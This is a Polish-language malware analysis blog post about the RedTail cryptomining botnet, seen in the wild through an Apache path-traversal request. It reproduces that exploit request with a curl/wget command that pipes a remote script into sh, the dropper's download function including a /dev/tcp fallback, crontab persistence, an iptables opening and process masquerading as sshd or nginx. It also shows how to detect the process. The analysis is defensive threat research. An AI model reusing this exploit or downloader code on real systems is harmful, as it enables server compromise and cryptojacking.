W

sieci wciąż krążą automaty szukające podatnych na path traversal oraz zdalne wykonanie poleceń serwerów HTTP Apache. Na przykład z dwóch chińskich adresów IP: 117.184.158.27 oraz 124.165.198.25 możemy zostać uraczeni następującym żądaniem typu POST:

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
accept: */*
host: 1.2.3.4:443
upgrade-insecure-requests: 1
user-agent: Custom-AsyncHttpClient
content-length: 109
content-type: text/plain
x-http-version: 1.1
x-remote-port: 52454
x-forwarded-for: 124.165.198.25
x-untrusted: 1
x-forwarded-proto: https

X=$(curl http://93.123.39.27/jVA.sh || wget http://93.123.39.27/jVA.sh -O-); \
echo \"$X\" | sh -s apache.selfrep

Bułgarski adres IP, na którym jest hostowany ładunek, jest również związany z botnentem Mirai:

According to source Cluster25:

This IPV4 is used by MIRAI. Mirai is a malware that created a big botnet of networked devices running Linux making them remotely controlled bots that can be used for large-scale network attacks. It primarily targets online consumer devices such as IP cameras and home routers.

Pod koniec maja tego roku ten sam adres IP serwował ładunki dostępne pod adresami:

http://93.123.39.27/go.sh
http://93.123.39.27/sh
http://93.123.39.27/r

Ładunek umieszczony w skrypcie powłoki bash w pierwszym kroku tworzy listę wszystkich katalogów, do których ma możliwość zapisu użytkownik, z którego prawami jest uruchamiany (wykluczając ścieżki: /proc, /sys, /tmp):

FOLDERS=$(find / -type d -user $(whoami) -perm -u=rwx -not -path "/proc/*" -not -path \
"/sys/*" -not -path "/tmp/*" 2>/dev/null)

Lista ta jest później wykorzystana w pętli, która ma trzy zadania: po pierwsze sprawdzić czy w tych ścieżkach istnieje możliwość zapisu; po drugie czy jest tyle wolnego miejsca, aby zmieścił się dwu megabajtowy plik; po trzecie czy ścieżka nie jest zamontowana w systemie plików z flagą noexec. Do zebranej listy dodane są dodatkowo trzy popularne ścieżki, które najczęściej są zapisywalne przez dowolnego użytkownika: /tmp, /var/tmp oraz /dev/shm:

for i in $FOLDERS /tmp /var/tmp /dev/shm; do
  if cd "$i" && touch .testfile && (dd if=/dev/zero of=.testfile2 bs=2M count=1 \
  >/dev/null 2>&1 || truncate -s 2M .testfile2 >/dev/null 2>&1); then
    rm -rf .testfile .testfile2
    if { command -v findmnt || type findmnt; } >/dev/null 2>&1 && ! findmnt -no OPTIONS \
    "$i" | grep -qw noexec || ! grep -qw " $i " /proc/mounts | grep -qw noexec; then
      break
    fi
  fi
done

Jeśli wszystkie trzy powyższe warunki są spełnione to skrypt pozostaje w danej ścieżce wychodząc z pętli, aby pobrać plik binarny zgodny z architekturą maszyny:

ARCH=$(uname -mp)
OK=true

if echo "$ARCH" | grep -q "x86_64" || echo "$ARCH" | grep -q "amd64"; then
  dlr MZI8tbl3xS
  mv MZI8tbl3xS .redtail
elif echo "$ARCH" | grep -q "i[3456]86"; then
  dlr euQiNdJEiy
  mv euQiNdJEiy .redtail
elif echo "$ARCH" | grep -q "armv8" || echo "$ARCH" | grep -q "aarch64"; then
  dlr tHidyOWcLx
  mv tHidyOWcLx .redtail
elif echo "$ARCH" | grep -q "armv7"; then
  dlr IfKRcqijFQ
  mv IfKRcqijFQ .redtail
else
  OK=false
  for a in MZI8tbl3xS euQiNdJEiy tHidyOWcLx IfKRcqijFQ; do
    dlr $a
    cat $a >.redtail
    chmod +x .redtail
    ./.redtail $1 >/dev/null 2>&1
    rm -rf $a
  done
fi

if [ $OK = true ]; then
  chmod +x .redtail
  ./.redtail $1 >/dev/null 2>&1
fi

Jeśli skrypt nie jest w stanie określić poprawnie architektury to ściąga po kolei wszystkie pliki binarne i je uruchamia. Ściągnięcie pliku odbywa się za pomocą funkcji dlr:

dlr() {
  wget http://93.123.39.27/$1 || curl -O http://93.123.39.27/$1
  if [ $? -ne 0 ]; then
    exec 3<>"/dev/tcp/93.123.39.27/80"
    echo -e "GET /$1 HTTP/1.0\r\nHost: 93.123.39.27\r\n\r\n" >&3
    (while read -r line; do [ "$line" = $'\r' ] && break; done && cat) <&3 >$1
    exec 3>&-
  fi
}

Ciekawe jest w tej funkcji, że jeśli polecenie wget lub curl zawiedzie to wykorzystywane są czyste polecenia powłoki bash, które mogą również pobrać zawartość pliku. Plik binarny przed uruchomieniem zawsze ma zamienianą nazwę na .redtail (waży 1884 KB) i jest spakowany UPX:

agresor@stardust:~$ strings MZI8tbl3xS | grep UPX
$UPX!H
$Info: This file is packed with the UPX executable packer http://upx.sf.net $
$Id: UPX 4.23 Copyright (C) 1996-2024 the UPX Team. All Rights Reserved. $

Po uruchomieniu (PID: 12089) odczytuje plik: /sys/devices/virtual/dmi/id/product_name prawdopodobnie w celu wykrycia typu maszyny wirtualnej (T1082). Po tym fakcie następuje komunikacja sieciowa na porcie 853, czyli DNS over TLS do takich serwerów jak: ns1.opennameserver.org (217.160.70.42), ns2.opennameserver.org (178.254.22.166), ns3.opennameserver.org (81.169.136.222) oraz ns4.opennameserver.org (185.181.61.24) – tylko, że po czystych adresach IP. Po komunikacji z serwerami DNS następuje komunikacja na port TCP 43782 (startowy port BTCPay Server – T1571) adresu IP: 194.59.31.109 – na dzień dzisiejszy listowany jest on jako jeden z hostów domeny: proxies.internetshadow.org, która tak mówi o swoich usługach:

At Internet Shadow, we specialize in providing top-notch services for operational security (OpSec) and internet anonymity. Our mission is to help you maintain privacy and security in the digital world. Whether you’re an individual concerned about personal privacy or an organization needing robust security measures, we have the expertise to assist you. Explore our services and discover how we can help you stay safe and anonymous online.

W dodatku adres ten jest strasznie hałaśliwy, ponieważ zaliczył aż 1513 raportów odnośnie skanowania portu SSH (22) innych serwerów w internecie. Dalej w naszym pliku binarnym następuje cykliczna komunikacja sieciowa z tym samym adresem IP, ale na porcie: 2137, gdzie moduł koparki krypto melduje się i prosi o przydzielenie prac:

{
   "id":1,
   "jsonrpc":"2.0",
   "method":"login",
   "params":{
      "login":"x",
      "pass":"x",
      "agent":"XMRig/6.21.2 (Linux x86_64) libuv/1.48.0 gcc/11.2.1",
      "algo":[
         "cn/1",
         "cn/2",
         "cn/r",
         "cn/fast",
         "cn/half",
         "cn/xao",
         "cn/rto",
         "cn/rwz",
         "cn/zls",
         "cn/double",
         "cn/ccx",
         "rx/0",
         "rx/wow",
         "rx/arq",
         "rx/graft",
         "rx/sfx",
         "rx/keva",
         "argon2/chukwa",
         "argon2/chukwav2",
         "argon2/ninja"
      ]
   }
}

W odpowiedzi otrzymuje serię komunikatów JSON, które przydzielają jej konkretne obliczenia, na przykład:

{
   "jsonrpc":"2.0",
   "id":1,
   "error":null,
   "result":{
      "id":"685efaec33eb88de",
      "job":{
         "blob":"1010a68cf3b20631edd99bdf0ed203b0fe491b47ecf98891f14d1020d14ed1c773ddf",
         "job_id":"536736",
         "target":"cc020000",
         "algo":"rx/0",
         "height":3162601,
         "seed_hash":"30696f1325f14d3562788eb388d9ed63909336b67f26164e60d34f0d82f9fc7b"
      },
      "extensions":[
         "algo",
         "nicehash",
         "connect",
         "tls",
         "keepalive"
      ],
      "status":"OK"
   }
}

Binarka po otrzymaniu swoich zadań obliczeniowych dla koparki zaczyna przechodzić do mechanizmu persystencji, który pozwoli jej utrzymać się w systemie nawet po restarcie serwera:

sh -c "command -v crontab >/dev/null 2>&1"
sh -c "crontab -r >/dev/null 2>&1; echo \"@reboot /home/user/\.redtail\" | crontab -"

Po udanej edycji crontab binarka przechodzi do otworzenia portu 12481 na maszynie, gdyby ta blokowała jakiś ruch przychodzący:

sh -c "iptables -I INPUT -p tcp --dport 12481 -j ACCEPT >/dev/null 2>&1"

Wcześniej jej proces utworzył dokładnie na tym porcie gniazdo sieciowe:

Create	protocol = IPPROTO_TCP, address_family = AF_INET, type = SOCK_STREAM
Bind	protocol = IPPROTO_TCP, local_address = 0.0.0.0, local_port = 12481
Listen	local_address = 0.0.0.0, local_port = 12481, queue_length = 128

Ostatnim krokiem jest zamaskowanie swojego procesu. Co ciekawe, przed tym faktem binarka sprawdza czy może przyjąć nazwy popularnych serwerów i daemonów:

sh -c command -v php >/dev/null 2>&1
sh -c command -v nginx >/dev/null 2>&1
sh -c which apache2
sh -c which httpd

Jeśli ich nie znajduje – decyduje się ukryć np. pod procesem: “sshd: user@notty”. Jeśli sprawdzimy teraz jej oryginalny PID podany powyżej to już nie będzie on nazywał się .redtail tylko:

agresor@stardust:~$ cat /proc/12089/cmdline
sshd: user@notty

agresor@stardust:~$ cat /proc/12089/comm
sshd

A co się stanie jeśli np. znajdzie zainstalowany serwer nginx? To zacznie maskować się jako jeden z jego wątków. O ile pamiętamy, jak badać szkodliwe procesy za pomocą deskryptorów plików to bardzo szybko możemy znaleźć, że dany PID nie nasłuchuje na tym porcie, co powinien:

agresor@stardust:~$ cat /proc/12540/cmdline
nginx: worker process

agresor@stardust:~$ cat /proc/12540/comm
nginx

agresor@stardust:~$ ls -al /proc/12540/fd | grep socket
lrwx------ 1 user user 64 Jun   2 22:47 14 -> 'socket:[155496]'
lrwx------ 1 user user 64 Jun   2 22:47 2 -> 'socket:[68507]'
lrwx------ 1 user user 64 Jun   2 22:47 8 -> 'socket:[70700]'

agresor@stardust:~$ netstat -naplet | egrep '(155496|68507|70700)'
tcp 0 0 0.0.0.0:12481     0.0.0.0:*           LISTEN      1000 68507  12540/nginx: worker
tcp 0 0 192.168.0.1:34616 194.59.31.109:43732 ESTABLISHED 1000 70700  12540/nginx: worker
tcp 0 0 192.168.0.1:49296 194.59.31.109:2137  ESTABLISHED 1000 155496 12540/nginx: worker

Jak widzimy to nie jest port, na którym powinien nasłuchiwać serwer nginx, a w szczególności nie powinien on okupować 100% zajętości CPU.

Podsumowanie:

Szkodliwe oprogramowanie służące m.in. do kopania kryptowalut i atakowania innych serwerów o nazwie RedTail zostało po raz pierwszy udokumentowane przez Patryka Machowiaka w styczniu 2024 r. w związku z kampanią wykorzystującą lukę Log4Shell (CVE-2021-44228) w celu wdrażania szkodliwego oprogramowania w systemach z rodziny *nix. Pod koniec maja raport firmy Akamai ponownie porusza temat tej rodziny w kontekście luki Palo Alto PAN-OS (CVE-2024-3400). Zapoznając się z treścią obydwu opracowań możemy zobaczyć, jak niektóre mechanizmy pozostają takie same i charakterystyczne dla tej rodziny, a inne podawane są lekkim modyfikacją i ewolucji – niektóre z nich odzwierciedlają taktyki stosowane przez grupę Lazarus, co prowadzi do pewnych spekulacji na temat źródeł ataków. Do arsenału tego zestawu narzędzi na bierząco dodawane są eksploity atakujące urządzenia IoT, aplikacje internetowe, serwery WWW oraz urządzenia typu SSL-VPN. Choć można bardzo łatwo wykryć tego typu aktywność – szczególnie na pierwszym etapie infekcji to nadal większość serwerów i urządzeń opartych na systemach *nix nie posiada zainstalowanego żadnego oprogramowania chroniącego przed złośliwym oprogramowaniem. W tym konkretnym przypadku atak został zatrzymany na poziomie niepodatnego (zaktualizowanego) serwera i wykryty przez system IDS – próbka pobrana ręcznie i uruchomiona w bezpiecznym środowisku piaskownicy.

Więcej informacji: RedTail Crypto-Mining Malware Exploiting Palo Alto Networks Firewall Vulnerability